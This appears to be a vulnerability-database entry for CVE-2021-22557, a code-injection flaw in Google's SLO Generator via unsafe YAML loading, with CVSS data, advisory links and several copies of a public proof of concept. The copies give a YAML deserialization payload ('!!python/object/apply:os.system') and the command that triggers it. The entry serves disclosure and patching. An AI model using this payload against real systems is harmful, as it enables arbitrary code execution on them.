Description
SLO generator allows for loading of YAML files that if crafted in a specific format can allow for code execution within the context of the SLO Generator. We recommend upgrading SLO Generator past https://github.com/google/slo-generator/pull/173
Affected Software
Related
{"id": "CVE-2021-22557", "vendorId": null, "type": "cve", "bulletinFamily": "NVD", "title": "CVE-2021-22557", "description": "SLO generator allows for loading of YAML files that if crafted in a specific format can allow for code execution within the context of the SLO Generator. We recommend upgrading SLO Generator past https://github.com/google/slo-generator/pull/173", "published": "2021-10-04T10:15:00", "modified": "2021-10-14T16:12:00", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "cvss2": {"cvssV2": {"version": "2.0", "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "accessVector": "NETWORK", "accessComplexity": "MEDIUM", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "baseScore": 6.8}, "severity": "MEDIUM", "exploitabilityScore": 8.6, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": true}, "cvss3": {"cvssV3": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH", "baseScore": 7.8, "baseSeverity": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-22557", "reporter": "security@google.com", "references": ["https://github.com/google/slo-generator/pull/173", "http://packetstormsecurity.com/files/164426/Google-SLO-Generator-2.0.0-Code-Execution.html"], "cvelist": ["CVE-2021-22557"], "immutableFields": [], "lastseen": "2022-03-23T14:16:37", "viewCount": 45, "enchantments": {"dependencies": {"references": [{"type": "exploitdb", "idList": ["EDB-ID:50385"]}, {"type": "github", "idList": ["GHSA-J28R-J54M-GPC4"]}, {"type": "osv", "idList": ["OSV:GHSA-J28R-J54M-GPC4"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:164426"]}, {"type": "zdt", "idList": ["1337DAY-ID-36866"]}], "rev": 4}, "score": {"value": 2.4, "vector": "NONE"}, "backreferences": {"references": [{"type": "exploitdb", "idList": ["EDB-ID:50385"]}, {"type": "github", "idList": ["GHSA-J28R-J54M-GPC4"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:164426"]}, {"type": "zdt", "idList": ["1337DAY-ID-36866"]}]}, "exploitation": null, "vulnersScore": 2.4}, "_state": {"dependencies": 0}, "_internal": {}, "cna_cvss": {"cna": "Google Inc.", "cvss": {"3": {"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "score": 5.3}}}, "cpe": [], "cpe23": [], "cwe": ["CWE-94"], "affectedSoftware": [{"cpeName": "google:slo_generator", "version": "2.0.1", "operator": "lt", "name": "google slo generator"}], "affectedConfiguration": [], "cpeConfiguration": {"CVE_data_version": "4.0", "nodes": [{"operator": "OR", "children": [], "cpe_match": [{"vulnerable": true, "cpe23Uri": "cpe:2.3:a:google:slo_generator:2.0.1:*:*:*:*:*:*:*", "versionEndExcluding": "2.0.1", "cpe_name": []}]}]}, "extraReferences": [{"url": "https://github.com/google/slo-generator/pull/173", "name": "N/A", "refsource": "CONFIRM", "tags": ["Exploit", "Patch", "Third Party Advisory"]}, {"url": "http://packetstormsecurity.com/files/164426/Google-SLO-Generator-2.0.0-Code-Execution.html", "name": "http://packetstormsecurity.com/files/164426/Google-SLO-Generator-2.0.0-Code-Execution.html", "refsource": "MISC", "tags": ["Exploit", "Third Party Advisory"]}]}
{"zdt": [{"lastseen": "2021-12-23T05:25:21", "description": "", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-10-07T00:00:00", "type": "zdt", "title": "Google SLO-Generator 2.0.0 - Code Execution Vulnerability", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-22557"], "modified": "2021-10-07T00:00:00", "id": "1337DAY-ID-36866", "href": "https://0day.today/exploit/description/36866", "sourceData": "# Exploit Title: Google SLO-Generator 2.0.0 - Code Execution\n# Exploit Author: Kiran Ghimire\n# Software Link: https://github.com/google/slo-generator/releases\n# Version: <= 2.0.0\n# Tested on: Linux\n# CVE: CVE-2021-22557\n\n##############################################################################\n\n*Introduction*:\nIs a tool to compute and export Service Level Objectives (SLOs), Error\nBudgets and Burn Rates, using configurations written in YAML (or JSON)\nformat.\n\n##############################################################################\n\n*POC:*\n1. pip3 install slo-generator==2.0.0\n2. 2. Save the below yaml code in a file as exploit.yaml.\n !!python/object/apply:os.system [\"id;whoami\"]\n3. Run the below command\n slo-generator migrate -b exploit.yaml\n##############################################################################\n", "sourceHref": "https://0day.today/exploit/36866", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}], "github": [{"lastseen": "2021-12-22T11:51:51", "description": "SLO generator allows for loading of YAML files that if crafted in a specific format can allow for code execution within the context of the SLO Generator. We recommend upgrading SLO Generator past https://github.com/google/slo-generator/pull/173 ", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-10-05T17:53:59", "type": "github", "title": "Code Injection in SLO Generator", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-22557"], "modified": "2021-10-18T18:40:16", "id": "GHSA-J28R-J54M-GPC4", "href": "https://github.com/advisories/GHSA-j28r-j54m-gpc4", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}], "osv": [{"lastseen": "2022-05-11T21:32:57", "description": "SLO generator allows for loading of YAML files that if crafted in a specific format can allow for code execution within the context of the SLO Generator. We recommend upgrading SLO Generator past https://github.com/google/slo-generator/pull/173", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-10-04T10:15:00", "type": "osv", "title": "PYSEC-2021-429", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-22557"], "modified": "2021-11-16T21:20:29", "id": "OSV:PYSEC-2021-429", "href": "https://osv.dev/vulnerability/PYSEC-2021-429", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-06-10T04:59:13", "description": "SLO generator allows for loading of YAML files that if crafted in a specific format can allow for code execution within the context of the SLO Generator. We recommend upgrading SLO Generator past https://github.com/google/slo-generator/pull/173 ", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-10-05T17:53:59", "type": "osv", "title": "Code Injection in SLO Generator", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-22557"], "modified": "2022-06-10T02:16:13", "id": "OSV:GHSA-J28R-J54M-GPC4", "href": "https://osv.dev/vulnerability/GHSA-j28r-j54m-gpc4", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}], "packetstorm": [{"lastseen": "2021-10-07T13:48:38", "description": "", "cvss3": {}, "published": "2021-10-07T00:00:00", "type": "packetstorm", "title": "Google SLO-Generator 2.0.0 Code Execution", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2021-22557"], "modified": "2021-10-07T00:00:00", "id": "PACKETSTORM:164426", "href": "https://packetstormsecurity.com/files/164426/Google-SLO-Generator-2.0.0-Code-Execution.html", "sourceData": "`# Exploit Title: Google SLO-Generator 2.0.0 - Code Execution \n# Date: 2021-09-28 \n# Exploit Author: Kiran Ghimire \n# Software Link: https://github.com/google/slo-generator/releases \n# Version: <= 2.0.0 \n# Tested on: Linux \n# CVE: CVE-2021-22557 \n \n############################################################################## \n \n*Introduction*: \nIs a tool to compute and export Service Level Objectives (SLOs), Error \nBudgets and Burn Rates, using configurations written in YAML (or JSON) \nformat. \n \n############################################################################## \n \n*POC:* \n1. pip3 install slo-generator==2.0.0 \n2. 2. Save the below yaml code in a file as exploit.yaml. \n!!python/object/apply:os.system [\"id;whoami\"] \n3. Run the below command \nslo-generator migrate -b exploit.yaml \n############################################################################## \n \n \n`\n", "sourceHref": "https://packetstormsecurity.com/files/download/164426/googleslogenerator200-exec.txt", "cvss": {"score": 0.0, "vector": "NONE"}}], "exploitdb": [{"lastseen": "2022-05-13T17:35:08", "description": "", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-10-07T00:00:00", "type": "exploitdb", "title": "Google SLO-Generator 2.0.0 - Code Execution", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["2021-22557", "CVE-2021-22557"], "modified": "2021-10-07T00:00:00", "id": "EDB-ID:50385", "href": "https://www.exploit-db.com/exploits/50385", "sourceData": "# Exploit Title: Google SLO-Generator 2.0.0 - Code Execution\r\n# Date: 2021-09-28\r\n# Exploit Author: Kiran Ghimire\r\n# Software Link: https://github.com/google/slo-generator/releases\r\n# Version: <= 2.0.0\r\n# Tested on: Linux\r\n# CVE: CVE-2021-22557\r\n\r\n##############################################################################\r\n\r\n*Introduction*:\r\nIs a tool to compute and export Service Level Objectives (SLOs), Error\r\nBudgets and Burn Rates, using configurations written in YAML (or JSON)\r\nformat.\r\n\r\n##############################################################################\r\n\r\n*POC:*\r\n1. pip3 install slo-generator==2.0.0\r\n2. 2. Save the below yaml code in a file as exploit.yaml.\r\n !!python/object/apply:os.system [\"id;whoami\"]\r\n3. Run the below command\r\n slo-generator migrate -b exploit.yaml\r\n##############################################################################", "sourceHref": "https://www.exploit-db.com/download/50385", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}]}